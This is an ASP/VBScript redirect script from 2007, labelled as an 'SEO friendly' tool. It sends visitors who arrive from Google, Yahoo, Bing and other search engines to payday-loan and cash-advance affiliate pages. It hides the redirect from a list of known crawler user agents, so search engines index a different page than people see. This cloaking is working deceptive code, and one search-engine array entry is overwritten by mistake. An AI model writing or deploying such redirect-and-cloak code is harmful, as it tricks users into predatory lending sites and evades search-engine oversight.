'***************************************************************************
'*                                                                         *
'* TrevNet Redirect SEO Friendly Script                                    *
'*                                                                         *
'* Do not remove this notice.                                              *
'*                                                                         *
'* Copyright © 2007 TrevNet Media Corp. All Rights Reserved                *
'* Warning: This program is protected by copyright law. Unauthorized       *
'* reproduction or distribution of this program, or any portion of it, may * 
'* result in severe civil and criminal penalties, and will be prosecuted   * 
'* to the maximum extent possible under the law.                           *
'*                                                                         *
'*                                                                         *
'***************************************************************************

Response.Buffer = True

'Set Variables
'Turns script on or off
Redirection = TRUE
'change to match desired redirect page
'RedirectPage = "http://www.tkqlhce.com/click-2089960-4049146"
'RedirectPage = "https://www.findpaydayloansonline.com/6126/display.ilp?SID=vGLOBALCL_AUTO"
RedirectPage = "http://www.1-hour-cash-advance.com/?LF=47b649ff-3597-de11-950e-0015171db588&aid=LF1579"
'change to match search phrase

Dim QueryStrings(1)
QueryStrings(0) = "aeroadvance"
QueryStrings(1) = "aero\+advance"

Dim arSearchEngines(5)
arSearchEngines(0) = "google.com*"
arSearchEngines(1) = "yahoo.com*"
arSearchEngines(2) = "msn.com*"
arSearchEngines(3) = "live.com*"
arSearchEngines(4) = "search.aol.com*"
arSearchEngines(2) = "bing.com*"

Dim arRobots(17)

arRobots(0)= "/Nutch-0.9-dev*"
arRobots(1) = "crawler@trd.overture.com*"
arRobots(2) = "http://help.yahoo.com/help/us/ysearch/*"
arRobots(3) = "SpiderMan*"
arRobots(4) = "Yahoo! Mindset*"
arRobots(5) = "Yahoo-Test/4.0*"
arRobots(6) = "http://www.alltheweb.com/help/webmaster/crawler*"
arRobots(7) = "YahooSeeker-*"
arRobots(8) = "YahooSeeker/*"
arRobots(9) = "YahooFeedSeeker/*"
arRobots(10) = "MSNPTC/1.0 *"
arRobots(11) = "MS Search 4.0 Robot*"
arRobots(12) = "http://search.msn.com/msnbot.htm*"
arRobots(13) = "http://www.google.com/bot.html*"
arRobots(14) = "http://www.googlebot.com/bot.html*"
arRobots(15) = "asterias/2.0*"
arRobots(16) = "http://www.singingfish.com/help/spider.html*"
arRobots(17) = "Sqworm*"



'Google Robots
'	http://www.google.com/bot.html
'	http://www.googlebot.com/bot.html


If Redirection Then
	'Check for referrer
	If LEN(Request.ServerVariables("HTTP_REFERER")) > 0 Then
		I = 0
		set objRegExp = New RegExp
		objRegExp.IgnoreCase = True
		objRegExp.Global = True
		
		For Each SearchEngine in arSearchEngines
			objRegExp.Pattern = SearchEngine
			Set colMatches = objRegExp.Execute(Request.ServerVariables("HTTP_REFERER"))
			
			For Each Match in colMatches
				I = I + 1
			Next
		Next
		
		If I > 0 Then  
			Redirection = TRUE
		Else
			ErrorTxt = "No SE Match"
			Redirection = FALSE
		End If
	Else
		Redirection = FALSE
	End If
	
	
	
	'Check QueryString
	If LEN(Request.ServerVariables("HTTP_REFERER")) > 0 Then
		I = 0
		set objRegExp = New RegExp
		objRegExp.IgnoreCase = True
		objRegExp.Global = True
	
		For Each QueryString in QueryStrings
			objRegExp.Pattern = QueryString & "*"
			Set colMatches = objRegExp.Execute(Request.ServerVariables("HTTP_REFERER"))
		
			For Each Match in colMatches
				I = I + 1
			Next
		Next
		If I > 0 Then
			Redirection = FALSE
		End If
	End If
	
	
	'Check for robot
	I = 0
	set objRegExp = New RegExp
	objRegExp.IgnoreCase = True
	objRegExp.Global = True
	
	For Each Robot in arRobots
		objRegExp.Pattern = Robot
		Set colMatches = objRegExp.Execute(Request.ServerVariables("HTTP_USER_AGENT"))
	
		For Each Match in colMatches
			I = I + 1
		Next
	Next
	
	If I > 0 Then
		ErrorTxt = ErrorTxt & " - Spider!"
		Redirection = FALSE
	End If
		
End If

redirect()

Sub redirect()
	If Redirection Then
		Response.Clear
		Response.Redirect RedirectPage
	End If

End Sub